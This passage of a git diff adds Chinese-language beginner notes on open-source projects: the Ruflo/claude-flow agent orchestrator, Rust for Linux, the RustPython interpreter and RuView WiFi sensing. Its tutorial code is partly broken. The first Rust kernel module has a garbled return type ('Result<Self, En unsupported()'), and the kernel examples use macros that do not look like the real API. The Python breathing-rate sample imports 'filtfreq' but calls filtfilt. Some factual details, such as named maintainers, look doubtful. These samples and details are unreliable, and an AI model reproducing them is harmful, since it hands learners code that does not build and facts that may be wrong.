+npx claude-flow@latest federation init
+
+# Team A：加入 Team B 的联邦端点
+npx claude-flow@latest federation join wss://team-b.example.com:8443
+
+# Team A：发送一个任务——PII（个人身份信息）会在离开前自动剥离
+npx claude-flow@latest federation send --to team-b --type task-request \
+  --message "分析交易模式中的账户异常"
+
+# Team A：检查对端信任度和会话健康状态
+npx claude-flow@latest federation status
+```
+
+信任度评分公式是：
+
+```
+信任分 = 0.4 × 成功率 + 0.2 × 在线率 + 0.2 × 威胁评分 + 0.2 × 完整性
+```
+
+- 新加入的 Agent 默认不信任
+- 表现好 → 信任度自动升级
+- 表现差 → 信任度立即降级（不需要人工干预）
+- 所有联邦事件都有审计记录，支持 HIPAA / SOC2 / GDPR 合规
+
+### 示例 3：目标规划——用自然语言描述目标，自动生成执行计划
+
+Ruflo 有一个 GOAP（Goal-Oriented Action Planning）引擎，你只用说人话，它自动拆解成可执行步骤：
+
+```bash
+# 打开 Goal Planner UI
+# 访问 goal.ruv.io 或本地部署后访问 localhost:5173
+
+# 在输入框中键入：
+"完成认证模块的重构，包含测试和一个 PR"
+```
+
+Ruflo 会自动：
+
+1. 提取成功标准（重构完成 + 测试通过 + PR 已提交）
+2. 识别隐含的前置条件（先理解现有代码 → 设计新架构 → 实施 → 测试 → 提交 PR）
+3. 用 A* 搜索算法在状态空间中找到最短可行路径
+4. 分派给对应的 Agent 并行执行
+5. 如果某一步失败，自动从当前状态重新规划，而不是从头开始
+
+## 五、Ruflo 的插件生态全景
+
+Ruflo 有 33 个插件，覆盖了软件开发生命周期的方方面面：
+
+**核心编排**：蜂群协调、自动巡航、定时后台任务、工作流模板、跨机器联邦
+
+**记忆与知识**：向量数据库、智能检索（混合搜索 + 图跳跃）、跨会话记忆、知识图谱
+
+**智能与学习**：从成功模式中学习、图推理、动态行为模式、本地 LLM 路由、目标拆解
+
+**代码质量**：自动补测试、浏览器自动化测试、Git diff 风险评分、自动文档
+
+**安全**：漏洞扫描（CVE）、Prompt 注入防御、PII 检测
+
+**架构方法**：架构决策记录（ADR）、领域驱动设计脚手架、5 阶段开发方法论
+
+**运维与可观测**：数据库迁移管理、结构化日志 + 追踪 + 指标、Token 用量追踪
+
+你可以只安装需要的插件，不需要一次性全装。
+
+## 六、Ruflo vs. 裸 Claude Code 对比
+
+| 能力 | Claude Code 单独使用 | Claude Code + Ruflo |
+|------|---------------------|---------------------|
+| 智能体协作 | 孤立运行，没有共享上下文 | 蜂群协作，共享记忆和共识 |
+| 任务协调 | 你手动决定 | 智能路由（准确率约 89%） |
+| 记忆 | 仅限当前会话 | 持久向量记忆，亚毫秒检索 |
+| 学习 | 行为固定不变 | SONA 自我学习，模式匹配 |
+| 后台任务 | 没有 | 12 个自动触发 worker |
+| LLM 支持 | 仅 Anthropic | 5 个提供商（Claude / GPT / Gemini / Cohere / Ollama）+ 智能切换 |
+| 安全 | 标准级别 | CVE 加固 + AIDefence |
+
+## 七、架构速览
+
+Ruflo 的数据流可以简化为一条流水线：
+
+```
+用户 → Claude Code / CLI
+         |
+         v
+   编排层（MCP Server + Router + 27 个 Hooks）
+         |
+         v
+   蜂群协调（Queen 领导 + 拓扑选择 + 共识算法）
+         |
+         v
+   100+ 专业智能体（coder / tester / reviewer / architect / security ...）
+         |
+         v
+   记忆与学习（AgentDB + HNSW 索引 + SONA 学习 + ReasoningBank）
+         |
+         v
+   LLM 提供商（Claude / GPT / Gemini / Cohere / Ollama）
+```
+
+学习循环是闭合的：Agent 完成任务 → 结果存入 AgentDB → 下次遇到类似任务时检索相似经验 → 表现更好的方案获得更高权重 → Agent 变得更聪明。
+
+## 八、快速上手 Checklist
+
+1. 安装 Node.js（v18+）
+2. 安装 Claude Code
+3. 运行 `npx ruflo@latest init` 完成初始化
+4. 运行 `claude mcp add ruflo -- npx ruflo@latest mcp start` 注册 MCP Server
+5. 重新启动 Claude Code，开始正常使用——Ruflo 在后台自动工作
+6. （可选）通过 `/plugin marketplace add ruvnet/ruflo` 安装特定插件
+
+## 九、延伸探索
+
+- **Web UI**：访问 [flo.ruv.io](https://flo.ruv.io/) 可以直接试用，无需安装。支持多模型并行工具调用
+- **目标规划器**：访问 [goal.ruv.io](https://goal.ruv.io/) 体验自然语言到可执行计划的转换
+- **用户指南**：[USERGUIDE.md](https://github.com/ruvnet/ruflo/blob/main/docs/USERGUIDE.md) 是日常参考手册
+- **基准测试**：[Benchmark 数据](https://gist.github.com/ruvnet/298f8c668c8859b369f91734a0e9cbbe) 对比了 Ruflo 与 LangGraph / AutoGen / CrewAI 的性能
+
+## 十、小结
+
+Ruflo 的核心价值可以用一句话总结：**它把"一个 AI 助手帮你写代码"升级成了"一支 AI 团队自动协作完成开发"**。对于零基础的初学者，你不需要理解所有底层细节——装上之后照常使用 Claude Code，Ruflo 在后台自动帮你协调、学习、优化。等你想深入了解时，它的学习曲线是渐进式的：先会用，再理解，最后自定义。
diff --git a/src/content/docs/projects/runc.md b/src/content/docs/projects/runc.md
index 5afa5182d..053401554 100644
--- a/src/content/docs/projects/runc.md
+++ b/src/content/docs/projects/runc.md
@@ -2,7 +2,7 @@
 title: runc — Linux 容器最底层那个真正在 fork 进程的 CLI
 来源: https://github.com/opencontainers/runc
 日期: 2026-05-31
-子分类: DevOps 与运维
+子分类: cloud-native
 分类: 基础设施
 难度: 中级
 provenance: pipeline-v3
diff --git a/src/content/docs/projects/rust-for-linux.md b/src/content/docs/projects/rust-for-linux.md
new file mode 100644
index 000000000..ecb93b241
--- /dev/null
+++ b/src/content/docs/projects/rust-for-linux.md
@@ -0,0 +1,203 @@
+---
+title: Rust for Linux — 零基础学习笔记
+来源: https://github.com/Rust-for-Linux/linux
+日期: 2026-06-13
+分类: 操作系统
+子分类: 内核与虚拟化
+provenance: pipeline-v3
+---
+
+# Rust for Linux — 零基础学习笔记
+
+## 一、什么是 Rust for Linux？
+
+Linux 内核诞生于 1991 年，从第一天起就几乎完全用 C 语言编写。C 语言虽然速度快、贴近硬件，但它不阻止你犯错误——指针可以乱指，缓冲区可以溢出，空引用可以直接崩溃整个系统。内核一旦崩溃（panic），整台机器就死掉了，这叫 "kernel panic"，比普通程序崩溃严重得多。
+
+Rust 是一门由 Mozilla 开发的系统编程语言，它的核心特点是 **在编译阶段就阻止大量常见错误**（空指针、数据竞争、缓冲区溢出等）。"Rust for Linux" 就是一个项目，目标是让 Linux 内核的一部分代码可以用 Rust 来写。
+
+打个比方：C 语言就像一把没有护套的菜刀——锋利但容易割手；Rust 就像一把带智能护刀器的大厨刀——同样锋利，但护刀器（编译器）会告诉你"这个动作不安全，停下来"。
+
+2023 年 7 月，Rust 代码首次合入了 Linux 内核主线（v6.5 版本），这是一个里程碑事件。截至 v7.0，内核中已有数千行 Rust 代码，主要用于 **驱动程序（drivers）** 和 **文件系统**。
+
+## 二、为什么内核要用 Rust？
+
+内核开发面临几个核心痛点：
+
+1. **内存安全**：C 语言允许你释放掉的内存继续访问（use-after-free），允许缓冲区溢出。Rust 的借用系统（borrow checker）在编译时就阻止了这些。
+2. **线程安全**：内核是高度并发的，多个 CPU 核心同时运行代码。Rust 的类型系统保证 "如果代码能编译通过，就不会有数据竞争"。
+3. **可维护性**：内核代码量已超过 3000 万行，随着代码库膨胀，用更安全的语言编写新模块可以显著降低引入 bug 的概率。
+
+不过要注意：**Rust 不会替代 C**。内核中绝大部分代码仍然是 C，Rust 主要用于"叶子模块"（leaf modules）——也就是不需要被其他模块调用的顶层组件，比如新驱动程序。
+
+## 三、核心概念
+
+### 3.1 `no_std`：内核里没有标准库
+
+Rust 程序通常使用 `std`（标准库），它提供了字符串、文件 IO、线程等高级功能。但 Linux 内核没有操作系统级别的运行时支持——没有堆分配器（至少不是标准那种）、没有标准 IO。所以内核中的 Rust 代码使用 `no_std`：
+
+```rust
+#![no_std]
+```
+
+这意味着只能使用 `core`  crate（Rust 的核心库，不含 OS 依赖的功能）。内核提供了自己的一套基础设施，比如自己的锁、自己的内存分配、自己的错误处理。
+
+### 3.2 抽象层（Abstractions）vs 绑定（Bindings）
+
+Linux 内核是一个 C 语言写的巨型工程。Rust 代码要使用内核的 C 功能，需要经过两层：
+
+- **Bindings（绑定）**：通过 `bindgen` 工具自动从 C 头文件生成的 Rust 声明。这是不安全的桥梁，直接暴露 C 接口。
+- **Abstractions（抽象层）**：位于 `rust/kernel/` 目录，用安全的 Rust 代码包装 bindings，把 C 的资源获取/释放模式变成 Rust 的构造/析构模式，把 C 的错误码变成 Rust 的 `Result` 类型。
+
+设计原则是：**叶子模块不应该直接使用 bindings，只能通过抽象层**。这保证了安全性。
+
+### 3.3 模块加载生命周期
+
+和 C 语言的内核模块一样，Rust 模块也有两个核心阶段：
+
+- **初始化（init）**：模块被加载时运行，做注册、分配资源等操作。
+- **退出（exit）**：模块被卸载时运行，做清理、释放资源等操作。
+
+Rust 的 RAII（Resource Acquisition Is Initialization，资源获取即初始化）特性在这里特别好使——对象在构造时获取资源，在析构时自动释放，不需要手动调用清理函数。
+
+## 四、代码示例
+
+### 示例 1：最简单的 Rust 内核模块
+
+这是一个最基础的 "Hello World" 内核模块，对应 C 语言中的经典入门示例：
+
+```rust
+#![no_std]
+#![warn(missing_docs)]
+
+use kernel::{info, module_init, prelude::*};
+
+module_init!(MyModule);
+
+struct MyModule {}
+
+impl kernel::Module for MyModule {
+    fn init(_module: &'static ThisModule) -> Result<Self, En unsupported() {
+        info!("Hello from Rust kernel module!");
+        Ok(Self {})
+    }
+}
+
+kernel::module!();
+```
+
+逐行解释：
+
+- `#![no_std]`：告诉编译器这是一个无标准库的内核模块。
+- `use kernel::`：引入内核提供的 Rust 基础设施。`prelude::*` 导入了最常用的类型和 trait，就像 C 的 `#include <linux/module.h>`。
+- `module_init!(MyModule)`：这是一个宏，它告诉内核："当加载这个模块时，请调用 `MyModule::init`"。
+- `impl kernel::Module for MyModule`：实现 `Module` trait，定义模块的行为。`init` 函数在模块加载时运行，返回 `Result<Self, Error>`，对应 C 中 `init` 函数返回 `int`（0 表示成功，负数表示错误）。
+- `info!()`：内核日志宏，相当于 C 的 `pr_info()`，会在内核日志（`dmesg`）中输出 "Hello from Rust kernel module!"。
+- `kernel::module!()`：生成模块的元数据（模块许可证、作者等），编译后的模块文件需要是 GPL 许可证才能加载。
+
+加载这个模块后，运行 `dmesg | tail` 就能看到 "Hello from Rust kernel module!"。
+
+### 示例 2：带清理的模块——RAII 的实际应用
+
+Rust 最强大的特性之一是 RAII——资源在离开作用域时自动释放。下面这个示例展示了一个有初始化和清理的模块：
+
+```rust
+#![no_std]
+#![warn(missing_docs)]
+
+use kernel::{c_str, info, module_init, prelude::*};
+
+module_init!(LedModule);
+
+struct LedModule {
+    _dev: DeviceHandle,
+}
+
+// DeviceHandle 在析构时自动关闭设备
+struct DeviceHandle;
+
+impl Drop for DeviceHandle {
+    fn drop(&mut self) {
+        // 自动执行设备关闭操作
+        // 不需要手动调用 cleanup
+    }
+}
+
+impl kernel::Module for LedModule {
+    fn init(_module: &'static ThisModule) -> Result<Self, Error> {
+        info!("Initializing LED device...");
+        let dev = DeviceHandle;
+        info!("LED device initialized successfully");
+        Ok(LedModule { _dev: dev })
+    }
+    // 不需要显式定义 exit！Drop trait 会在模块卸载时自动调用
+}
+
+kernel::module!();
+```
+
+在 C 语言中，你需要写 `init` 函数和 `exit` 函数，并在 `exit` 中记得调用所有清理函数。如果 init 中途失败了，还需要在错误路径上做清理。而 Rust 的 `Drop` trait 保证：无论模块正常卸载还是加载失败，`DeviceHandle` 的析构函数都会被自动调用。这消除了大量 "忘了清理资源" 的 bug。
+
+### 示例 3：使用内核的锁机制
+
+内核中多线程/多 CPU 访问共享数据是常态。Rust 通过类型系统来保证锁的正确使用：
+
+```rust
+use kernel::{sync::Mutex, c_str, info, module_init, prelude::*};
+
+module_init!(CounterModule);
+
+struct CounterModule {
+    counter: Mutex<u64>,
+}
+
+impl kernel::Module for CounterModule {
+    fn init(_module: &'static ThisModule) -> Result<Self, Error> {
+        info!("Counter module loaded");
+        Ok(Self {
+            counter: Mutex::new(0),
+        })
+    }
+}
+
+// 当模块被卸载时，Mutex<u64> 会自动安全地销毁
+```
+
+`Mutex<u64>` 是内核提供的 Rust 锁。关键点：
+- 它包装的是 `u64`（64 位整数），而不是裸指针。
+- 当你 `lock()` 获取锁时，返回的是一个智能的锁句柄，它在作用域结束时自动释放锁。
+- Rust 的类型系统确保你不会在持有锁的同时做不该做的事。
+
+## 五、编译和构建
+
+内核中的 Rust 代码通过标准的 `make` 系统编译。基本流程：
+
+1. 配置内核时启用 Rust 支持：`make menuconfig` → 确保 `CONFIG_RUST=y` 或 `CONFIG_RUST=m`。
+2. 需要安装 `rustc`（Rust 编译器）、`rust-src`、`bindgen`、`clang`（LLVM 工具链）。
+3. 用 `make LLVM=1` 编译，LLVM 工具链同时用于 C 和 Rust 部分的构建。
+4. 可选：`make LLVM=1 CLIPPY=1` 启用 Clippy 静态分析，帮助发现代码质量问题。
+
+Rust 内核模块最终编译为 `.ko`（kernel object）文件，和 C 模块一样用 `insmod` 或 `modprobe` 加载。
+
+## 六、当前状态和未来
+
+- Rust 在内核中是 **实验性但已合入主线** 的，从 v6.5 开始支持。
+- 支持的平台正在扩展，目前已支持 x86_64、AArch64 等主流架构。
+- 抽象层覆盖范围在持续增长，越来越多的内核子系统提供了 Rust 抽象。
+- 社区非常活跃：Rust for Linux 由 Google、Ondřej Bořek 等核心开发者维护，得到了 Linux 内核维护者 Greg Kroah-Hartman 的直接支持。
+
+## 七、学习资源
+
+- 内核源码中的 Rust 文档：`Documentation/rust/` 目录
+- 在线 rustdoc：https://rust.docs.kernel.org
+- 项目主页：https://github.com/Rust-for-Linux/linux
+- 前提知识：建议先了解 Rust 基础语法（类型系统、所有权、trait），再深入内核开发
+
+## 八、关键概念回顾
+
+| 概念 | 说明 | 类比 |
+|------|------|------|
+| `no_std` | 不使用标准库，只用 core | 不用全套工具箱，只用基础扳手 |
+| Bindings | 从 C 头文件自动生成的 Rust 声明 | 翻译器，把英文原文逐字翻成中文 |
+| Abstractions | 用安全 Rust 包装 bindings | 翻译器加编辑润色，让译文读起来自然 |
+| RAII / Drop | 资源在析构时自动释放 | 自动还书——看完书放回书架，不需要专门跑一趟图书馆 |
+| Module trait | 定义模块的 init/exit 行为 | 模块的"生命简历" |
diff --git a/src/content/docs/projects/rustpython.md b/src/content/docs/projects/rustpython.md
new file mode 100644
index 000000000..5866f115d
--- /dev/null
+++ b/src/content/docs/projects/rustpython.md
@@ -0,0 +1,243 @@
+---
+title: RustPython — Rust 写的 Python 解释器
+来源: https://github.com/RustPython/RustPython
+日期: 2026-06-13
+子分类: 语言运行时
+分类: 编译器
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**RustPython** 是 [RustPython/RustPython](https://github.com/RustPython/RustPython) 维护的 **Python 3 解释器**，主体用 **Rust** 写成，目标兼容 **CPython ≥ 3.11** 的语义与标准库子集。它不是「在 Rust 里调用 CPython」的绑定层，而是从词法分析、编译到虚拟机执行**整条链路都在 Rust 生态内完成**——可以当独立 CLI 跑脚本，可以 **embed（嵌入）** 进 Rust 应用当脚本引擎，也可以编译成 **WebAssembly（WASM）** 在浏览器里跑 Python。
+
+日常类比：如果把 **CPython** 想成一家用 C 砌墙、用 decades 旧管道接水的**老牌中央厨房**，那 **RustPython** 更像用现代钢结构重盖的**分店**：
+
+- **Parser（解析器）** 像进货验收台：把 `.py` 源码拆成 token，再搭成 AST（抽象语法树）；RustPython 复用 Ruff 项目的 `ruff_python_parser`，站在成熟解析器肩膀上；
+- **Compiler（编译器）** 像中央配菜间：把 AST 降成 Python **字节码（bytecode）**，并做符号表、闭包 cell 等分析；
+- **VM（虚拟机）** 像流水线灶台：栈式解释器按 opcode 取指、操作数栈与局部变量区（`LocalsPlus`）执行；
+- **Embed 模式** 像给 Rust 主程序装了一个**可编程遥控器**——游戏引擎、CLI 工具、桌面应用用 Python 写插件，不用单独部署 CPython；
+- **WASM 目标** 像把整套厨房装进**集装箱**：编译成 WASI 模块后，用户打开网页就能在浏览器里 `print("hello")`，无需服务器端 Python 环境。
+
+和 **PyPy**（RPython 自举 + tracing JIT）、**GraalPy**（JVM 上 Truffle）同属「语言替代实现」谱系；RustPython 的差异化卖点是 **Rust 内存安全 + 无 C 运行时依赖 + 可嵌 Web**，适合「Rust 主工程 + Python 脚本层」或「浏览器内 Python」两类场景。
+
+## 为什么重要
+
+不懂 RustPython，下面这些话题很难讲透：
+
+- **为什么能在浏览器里跑 Python 而不装服务器**——整解释器可编译为 WASM，配合 WASI 提供受限系统接口
+- **Rust 应用如何内嵌脚本语言**——`InterpreterBuilder` 在进程内启动 `VirtualMachine`，比 fork 子进程调 `python` 更轻
+- **解释器流水线长什么样**——从源码到 AST、字节码、frame 执行，与 CPython 概念对齐但实现语言不同
+- **手写 C 扩展 vs Rust `#[pymodule]`**——RustPython 用过程宏把 Rust 函数/类暴露给 Python，类型经 `IntoPyObject` 桥接
+- **与 CPython 生态的差距在哪**——C API 扩展、部分 stdlib、性能与 3.12+ 新特性仍在追赶；生产默认运行时仍是 CPython
+
+## 核心概念
+
+### 1. Python 实现谱系中的位置
+
+| 实现 | 实现语言 | 典型卖点 | 与 RustPython 对比 |
+|------|----------|----------|-------------------|
+| **CPython** | C | 官方参考、生态最全 | RustPython 语义对齐目标，非绑定 |
+| **PyPy** | RPython → C + JIT | CPU 密集纯 Python 更快 | PyPy 更成熟；RustPython 偏嵌入/WASM |
+| **MicroPython** | C | MCU、裁剪 | 体积极小；RustPython 面向桌面/浏览器 |
+| **GraalPy** | Java / Truffle | JVM 多语言 | 宿主不同 |
+| **RustPython** | Rust | 嵌入 Rust、WASM、无 CPython 依赖 | 本笔记主题 |
+
+### 2. 三阶段流水线：Parser → Compiler → VM
+
+官方 [architecture 文档](https://github.com/RustPython/RustPython/blob/main/architecture/architecture.md) 把解释器拆成三段：
+
+```
+源码 (.py)
+  ▼ Parser      ruff_python_parser → AST
+  ▼ Compiler    rustpython-compiler → CodeObject（字节码 + 元数据）
+  ▼ VM          rustpython-vm → run_code_obj，栈式执行
+```
+
+`src/lib.rs` 的 `run()` 是 CLI 主入口：解析 `Settings`（命令行与环境变量），经 `InterpreterBuilder` 构造 `VirtualMachine`，再按 `RunMode` 分发到脚本、`-c` 命令、`-m` 模块或 REPL。
+
+### 3. Crate 组织（仓库结构）
+
+| Crate / 目录 | 职责 |
+|--------------|------|
+| `rustpython`（顶层 binary） | CLI、`run_shell`、pip 安装逻辑 |
+| `ruff_python_parser` / `ruff_python_ast` | 词法、语法、AST（外部依赖，与 Ruff linter 同源） |
+| `rustpython-compiler` | AST → 字节码、符号表、优化 |
+| `rustpython-vm` | `VirtualMachine`、内置类型、部分 stdlib 的 Rust 实现 |
+| `Lib/` | 纯 Python 标准库（symlink 管理，Windows 需 `git config core.symlinks true`） |
+
+执行热点在 VM 的**解释器循环**：按 `Instruction` / opcode 分派，配合 **零成本异常表（exception table）** 查找 handler，而非 CPython 早期的 block 栈模型。
+
+### 4. VirtualMachine 与 Frame
+
+`VirtualMachine` 是运行时中枢：内置模块表、线程帧栈、导入系统、信号与多线程同步。每次函数调用对应 `InterpreterFrame`（经 `FrameRef` 引用），持有：
+
+- 指令指针（IP）
+- **LocalsPlus**：把 fast locals、cell 变量、求值栈**拼成一块连续内存**，减少分配与 cache miss
+- 对应该 `CodeObject` 的常量表、名称表
+
+协程/生成器在 frame 上标记为可挂起；异常沿 exception table 跳转，与 Python 3.11+ 的表格化异常处理思路一致。
+
+### 5. CLI 执行模式（与 CPython 对齐）
+
+| 模式 | 示例 | 说明 |
+|------|------|------|
+| 脚本 | `rustpython script.py` | 执行文件；目录含 `__main__.py` 可当包运行 |
+| 命令 | `rustpython -c "print(42)"` | 执行字符串 |
+| 模块 | `rustpython -m http.server` | 以模块方式运行 |
+| REPL | `rustpython` | 交互式，非 WASM 平台用 `rustyline` |
+
+启用 `ssl` 相关 feature 后可 `--install-pip` 安装 pip，在 venv 里更接近日常 Python 开发体验。默认 HTTPS 走 `ssl-rustls-aws-lc`；嵌入方可换 `ssl-openssl` 等。
+
+### 6. 嵌入 Rust 应用：InterpreterBuilder
+
+库模式推荐用 **builder** 构造解释器，而不是直接 new 裸 VM：
+
+```rust
+use rustpython::vm::{Interpreter, Settings};
+
+fn main() -> rustpython::vm::PyResult<()> {
+    let settings = Settings::default();
+    let interp = Interpreter::with_init(settings, |vm| {
+        // 可在此注册自定义扩展模块
+        Ok(())
+    })?;
+    interp.enter(|vm| {
+        vm.run_string("print('Hello from embedded Python')", rustpython::vm::compiler::Mode::Exec, "<embedded>".to_owned(), rustpython::vm::compiler::CompileOpts::default())
+    })?;
+    Ok(())
+}
+```
+
+典型用途：游戏 mod、配置 DSL、自动化插件——主程序用 Rust 保证性能与安全边界，业务逻辑用 Python 快速迭代。
+
+### 7. 从 Rust 暴露 API 给 Python：`#[pymodule]`
+
+RustPython 用过程宏定义扩展模块，与 PyO3 风格相近：
+
+```rust
+use rustpython::vm::pymodule;
+
+#[pymodule]
+mod my_math {
+    #[pyfunction]
+    fn add(a: i32, b: i32) -> i32 {
+        a + b
+    }
+
+    #[pyattr]
+    const PI: f64 = 3.141592653589793;
+}
+```
+
+Python 侧 `import my_math` 后即可 `my_math.add(1, 2)`。参数与返回值需实现 `IntoPyObject` / `FromArgs`；错误用 `PyResult` 与 `vm.new_*_error` 抛出。
+
+### 8. WebAssembly 与 WASI
+
+`wasm32-wasi` 目标可把解释器打成独立模块，在浏览器（配合 JS glue）或边缘 WASI 运行时中执行 Python。官网提供 [在线 demo](https://rustpython.github.io/)：输入代码即在 WASM 内跑通，证明「无服务器 Python」路径可行。限制包括：文件系统、网络、线程能力受宿主沙箱约束，与原生构建不同。
+
+### 9. 实验性 JIT
+
+带 `jit` feature 编译时，可对函数调用 `__jit__()` 尝试编译为本地代码（依赖 LLVM 等，**非常实验性**）。日常学习与嵌入场景以解释执行为主，不要指望 PyPy 级加速。
+
+### 10. 与 CPython 的差异与预期
+
+- **兼容性**：大量纯 Python 与 stdlib 可跑；依赖 **C API 扩展**（如部分 NumPy 轮子）常需专用构建或不可用
+- **性能**：解释型路径通常慢于 CPython 3.11+ 特化解释器与 PyPy JIT
+- **版本追踪**：目标对齐 CPython 3.11+，新语法/标准库持续 port 中
+- **文档**：用户指南与 API 文档在演进，读源码与 `architecture/` 仍很重要
+
+## 代码示例
+
+### 示例 1：安装与命令行快速验证
+
+```bash
+# 从 Git 安装 CLI（需已安装 Rust stable）
+cargo install --git https://github.com/RustPython/RustPython rustpython
+
+# 一行命令
+rustpython -c "import sys; print(sys.version); print(sum(range(10)))"
+
+# 保存为 hello.py 后执行
+# print("Hello", "RustPython")
+rustpython hello.py
+
+# 交互 REPL
+rustpython
+```
+
+期望看到版本字符串与 `45`（`sum(range(10))`）。若需 pip，构建时启用 SSL feature 后执行 `rustpython --install-pip`，再在 venv 中使用。
+
+### 示例 2：纯 Python 脚本——类、异常与模块路径
+
+`demo_pkg/greet.py`：
+
+```python
+"""RustPython 下的普通 Python 代码通常无需修改。"""
+
+class Greeter:
+    def __init__(self, name: str):
+        self.name = name
+
+    def hello(self) -> str:
+        return f"Hello, {self.name}!"
+
+def main():
+    g = Greeter("RustPython")
+    print(g.hello())
+    try:
+        1 / 0
+    except ZeroDivisionError as e:
+        print("caught:", type(e).__name__)
+
+if __name__ == "__main__":
+    main()
+```
+
+```bash
+rustpython demo_pkg/greet.py
+```
+
+输出应包含 `Hello, RustPython!` 与 `caught: ZeroDivisionError`。这段代码强调：**语义层仍是 Python**——类、异常、dunder 与 CPython 教程一致；差异多在底层 IO、扩展与性能，不在语法表面。
+
+### 示例 3：在 Rust 中注册模块并执行 Python
+
+概念片段（需将 `my_math` 注册进 `Interpreter::with_init` 的回调，具体 API 以仓库当前 `examples/` 为准）：
+
+```rust
+// 注册后，在 enter 闭包内：
+vm.run_string(
+    r#"
+import my_math
+print(my_math.PI)
+print(my_math.add(40, 2))
+"#,
+    rustpython::vm::compiler::Mode::Exec,
+    "<string>".into(),
+    Default::default(),
+)?;
+```
+
+Rust 实现的 `add` 与常量 `PI` 在 Python 命名空间可见，说明 **双向边界**：Rust 主程序 + Python 脚本 + Rust 扩展模块三层可共存。
+
+## 从零学习路径
+
+1. **先会 CPython 基础**：`import`、`def`、类、异常、venv；否则难以判断「是 RustPython bug 还是用法问题」。
+2. **本地跑通 CLI**：`cargo install` 或 `git clone` 后 `cargo run --release -- -c "print(1)"`（Windows 建议 `--release` 防栈溢出）。
+3. **读架构一页纸**：[architecture/architecture.md](https://github.com/RustPython/RustPython/blob/main/architecture/architecture.md) 对照 `crates/vm`、`crates/compiler` 目录浏览。
+4. **试 WASM demo**：打开 [rustpython.github.io](https://rustpython.github.io/)，理解浏览器场景约束。
+5. **做一个最小 embed**：复制官方 `examples` 里嵌入示例，加载一段 `run_string`。
+6. **贡献入口**：`DEVELOPMENT.md` 说明测试、`Lib/` 与 Rust stdlib 分工；可从 port 单个纯 Python 标准库模块或修 failing CPython unit test 入手。
+
+## 与其他笔记的对照
+
+| 笔记 | 关系 |
+|------|------|
+| [[cpython]] | 语义与字节码概念的「标准答案」参照 |
+| [[pypy]] | 另一种自举路线，侧重 JIT 性能 |
+| [[wasmtime]] / [[wasmer]] | WASM 运行时宿主；RustPython 可编译为 wasm 模块在其中跑 |
+| [[micropython]] | 嵌入式裁剪；RustPython 偏桌面与浏览器完整解释器 |
+
+## 小结
+
+**RustPython** 用 Rust 重写 Python 3 解释器全栈，使 Python 能作为 **Rust 应用的嵌入式脚本**、并具备 **编译到 WebAssembly** 的部署路径。核心仍是 **解析 → 编译字节码 → 栈式 VM 执行** 的经典模型，工程上通过 Ruff 解析器、`LocalsPlus` 帧布局、过程宏互操作等现代 Rust 实践落地。它尚未取代 CPython 成为默认运行时，但对学习「解释器如何实现」、探索 Rust 与 Python 混合架构、在浏览器内跑 Python 实验，是一个文档齐全、开源活跃（MIT）的入口。
diff --git a/src/content/docs/projects/ruview-wifi-radar.md b/src/content/docs/projects/ruview-wifi-radar.md
new file mode 100644
index 000000000..07270ae46
--- /dev/null
+++ b/src/content/docs/projects/ruview-wifi-radar.md
@@ -0,0 +1,283 @@
+---
+title: "RuView: 用 WiFi 信号'看见'世界"
+来源: https://github.com/ruvnet/RuView
+日期: 2026-06-13
+分类: 机器学习
+子分类: 模型与训练
+provenance: pipeline-v3
+---
+
+# RuView: 用 WiFi 信号"看见"世界
+
+## 一、从"WiFi 不是只能上网"开始
+
+假设你在房间里打羽毛球，球在空中飞。你看得见球，因为光从球上反射到你的眼睛。
+
+现在想象一下：WiFi 路由器也在不停地发射一种"看不见的波"，这种波叫无线电波。球如果在波的路上来回跑，波的形状就会发生微小的变化。
+
+RuView 做的事情就是：**捕捉这些微小的变化，反过来推断房间里发生了什么。**
+
+如果有人站着不动，他们的胸口在呼吸，波就会以非常规律的节奏被扰动——这就是呼吸频率。
+如果有人突然倒地，波的扰动模式会突然变化——系统可以检测到摔倒。
+如果有人走进房间，波的路径变了——系统知道"有人来了"。
+
+最关键的是：**这一切不需要摄像头，不需要手环，不需要任何人戴任何东西。**
+
+---
+
+## 二、核心概念一：CSI（信道状态信息）
+
+这是理解 RuView 最重要的一步。
+
+### 日常类比
+
+把 WiFi 信号想象成一队士兵从 A 点走到 B 点。正常情况下，他们排着整齐的队伍走过去。但如果路上有障碍物（比如人），某些士兵会被挡住、被绕路、被反射。等他们到达 B 点时，队伍的排列已经变了。
+
+**CSI 就是 B 点收到的"队伍排列信息"**——它告诉你哪些路径被干扰了、干扰了多少。
+
+### 技术解释
+
+WiFi 信号通过多条路径到达接收器（这叫"多径传播"）。CSI 记录的是每一条路径上的信号强度变化和相位偏移。每个路径对应一个"子载波"，普通路由器只看总信号强度（RSSI），而 CSI 能看到每个子载波的细微变化。
+
+RuView 用这个信息做三件事：
+
+1. 判断"有没有人"
+2. 追踪"人在哪、在干什么"
+3. 测量"人的呼吸和心跳"
+
+### 代码示例 1：安装与基础使用
+
+RuView 提供了 Python 包，安装非常直接：
+
+```bash
+# 安装 RuView Python 库
+pip install ruview
+
+# 或者安装等价包（同一底层，不同名字）
+pip install wifi-densepose
+```
+
+```python
+# 示例：创建感知客户端，连接 WiFi 传感节点
+from ruview.client import SensingClient
+
+# 连接本地运行中的 RuView 传感服务器
+client = SensingClient(host="192.168.1.100", port=8080)
+
+# 获取当前房间内是否有人
+presence = client.get_presence()
+print(f"房间内是否有人: {presence.occupied}")
+print(f"估计人数: {presence.count}")
+
+# 获取生命体征（如果有人在躺着）
+vitals = client.get_vitals()
+print(f"呼吸频率: {vitals.breathing_rate} 次/分钟")
+print(f"心率: {vitals.heart_rate} BPM")
+```
+
+### 代码示例 2：呼吸频率提取
+
+这是 RuView 核心信号处理流程的一个简化表示：
+
+```python
+# 示例：从 CSI 数据中提取呼吸频率
+import numpy as np
+from scipy.signal import butter, filtfreq
+
+def extract_breathing_rate(csi_phase, sample_rate=100):
+    """
+    从 CSI 相位数据中提取呼吸频率。
+    
+    呼吸产生的胸腔位移会使 WiFi 信号的相位发生周期性变化。
+    呼吸频率范围大约在 0.1 Hz 到 0.5 Hz 之间（6-30 BPM）。
+    """
+    # 步骤1：带通滤波——只保留 0.1-0.5 Hz 的信号（呼吸频段）
+    low, high = 0.1, 0.5  # Hz
+    # 设计带通滤波器
+    nyquist = sample_rate / 2.0
+    low_norm = low / nyquist
+    high_norm = high / nyquist
+    b, a = butter(4, [low_norm, high_norm], btype='band')
+    filtered = filtfilt(b, a, csi_phase)
+    
+    # 步骤2：计算零交叉频率得到 BPM
+    # 信号穿过零线的次数对应呼吸次数
